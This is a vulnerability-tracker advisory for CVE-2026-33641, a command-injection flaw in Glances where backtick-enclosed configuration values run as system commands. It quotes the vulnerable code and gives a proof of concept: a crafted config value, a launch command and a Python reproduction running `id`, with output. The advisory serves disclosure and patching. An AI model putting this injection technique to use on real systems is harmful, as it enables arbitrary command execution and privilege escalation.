CVE-2026-33641High· 7.8▾ MidnightPoC availableGlances Vulnerable to Command Injection via Dynamic Configuration Values
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 42.9 · likelihood 0.2 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.9%
0.9% → 0.9%
Exploit-DB (last check)
Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.
If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.
Glances loads configuration files from user, system, or custom paths during initialization.
When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.
File: glances/config.py
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))
The extracted string is passed directly to system_exec().
File: glances/globals.py
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')
This execution occurs automatically whenever the configuration value is read.
glances/config.py — dynamic configuration parsing
glances/globals.py — command execution helper
Scenario: Arbitrary command execution via configuration value
Step 1 — Create malicious configuration file
/tmp/glances.conf
add below txt on the file
[outputs]
url_prefix = 'id'
Step 2 — Launch Glances with custom configuration
glances -C /tmp/glances.conf
Step 3 — Observe behavior
When Glances reads the configuration:
Reproduce using Python code
import subprocess
import re
def system_exec(command):
return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()
value = "`id`"
pattern = re.compile(r'(`.+?`)')
for m in pattern.findall(value):
print(system_exec(m[1:-1]))
Output:
uid=1000(user) gid=1000(user) groups=1000(user)
Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.
If Glances runs as a privileged service (e.g., root), commands execute with those privileges.
Possible scenarios include:
glances < 4.5.3Upgrade to a patched release:
glances 4.5.3Connected by shared product, vendor, weakness, or advisory.
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